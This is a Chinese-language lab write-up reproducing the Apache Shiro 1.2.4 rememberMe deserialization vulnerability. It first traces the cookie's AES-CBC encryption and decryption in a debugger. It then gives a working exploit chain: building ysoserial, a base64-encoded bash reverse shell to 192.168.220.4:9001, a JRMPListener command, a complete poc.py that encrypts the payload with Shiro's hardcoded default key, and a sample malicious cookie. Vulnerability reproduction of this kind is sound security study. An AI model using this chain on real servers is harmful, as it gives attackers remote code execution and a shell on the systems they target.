Shiro反序列化复现
shiro版本: 1.2.4
修改shiro/samples/web/pom.xml
1. 下载源码使用IdEA打开mvn项目
2. 设置run/debug cnfigures
- 添加war包
3. 运行程序
4. 访问登录页面,并抓包
5. 停止程序,开始调试
1. 找到shiro-core-1.2.4.jar,打开rememMeManager.class文件,并在onSuccessfullLogin函数前面加断点,点击debug开始调试
- 在External Libraries中寻找
- 打下断点后调试
- 之后,在web页面登录,点击rememberme,抓包,开始调试
序列化过程分析
- 首先查看
onsuccessfullLogin
函数
- 调用rememberIndentity函数处理cookie中的rememberme信息
- F8跳过forget函数,F7跟进
remembermeIndentity
函数
RememberIndentity
函数
- 通过
getIndentityToRemeber
获取用户(官方术语为subject
)身份,这里是root
- 跟进
rememberIdentity
方法
rememberIdentity
函数
- 将账号ID转换成字节形式,跟进看一下如何转换
convertPrincipalsToBytes
函数encrypte
函数可以看出,加密方式是AES的CBC模式。
- 跟进getencryptionCiperKey可以看到密钥
shift+F8退回上一步
跟进rememberSeriallizedIndentity,查看后续编码
rememberSerializedindetity函数
- 将上述AES加密的序列值base编码之后放在cookie中
反序列化分析
- 将断点打在
org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity
函数处,然后发送一个带有 rememberMe Cookie 的请求:
- 此方法用来根据序列后的字符串返回Id,跟进
rmm.getRememberedPrincipals
方法
至此 Cookie 的反序列化、解密流程分析完毕,整个流程大致为:
- 读取 cookie 中 rememberMe 值;
- base64 解码;
- AES解密;
- 反序列化
漏洞利用
Kali下载java序列化工具:
git clone https://github.com/frohoff/ysoserial
进入目录,打开终端
mvn package -D skipTests #生成ysoserial-0.0.6-SNAPSHOT-all.jar
注意JDK版本1.8
制作反弹shell
反弹shell时,用到
Runtime.getRuntime().exec()
,此函数不能使用管道符号,需要对命令进行编码(编码网址)bash -i >& /dev/tcp/192.168.220.4/9001 0>&1 编码后 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMy85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoserial中JRMP监听模块,监听5577端口
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5577 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMy85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}'
kali虚拟机监听反弹端口9001
poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
#这里密钥key是已知的,在shiro官网上有,可根据不同系统替换密钥
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
在 kali 攻击机 ysoserial-0.0.6-SNAPSHOT-all.jar 文件所在的目录下中执行python poc.py 192.168.220.4:5577
,得到 Payload:
rememberMe=I/+mnxmwQYaYXRvpc1ZYXUWkzsLh/how4I9Gj7ChajoAg6RlOeHvKxutmmfa+TZcID6QutrJ9blIqz56unA/01jFAs+gGRxCiMQlJ5Vguuad1rPiO2mNBNa03jYV1d5y1cjVceAEuz94wzLUJMgzmNjNFESKWGg424goUeu99iNeqpYq/MN84ms4mKMxmUMFla6YoJjgnW0SQmblkD/5Crc6B8IQhKQX/oswJJ3LpC91dEgaFdCH/aFJVQCEncAtQZFeseaEd27OUHJPgaqNMsAHo+i/R1wdghABF0A9Gyx0G97Nj9lWtq1t6Xv5jp8zvAE8huu6NiLo0LX2inh6PHqKd4kz55mWpOsDpTwPG1FToVB8FltGGGOrDpZVKt5POAOo+4S8jCobwqMxHrpCKw==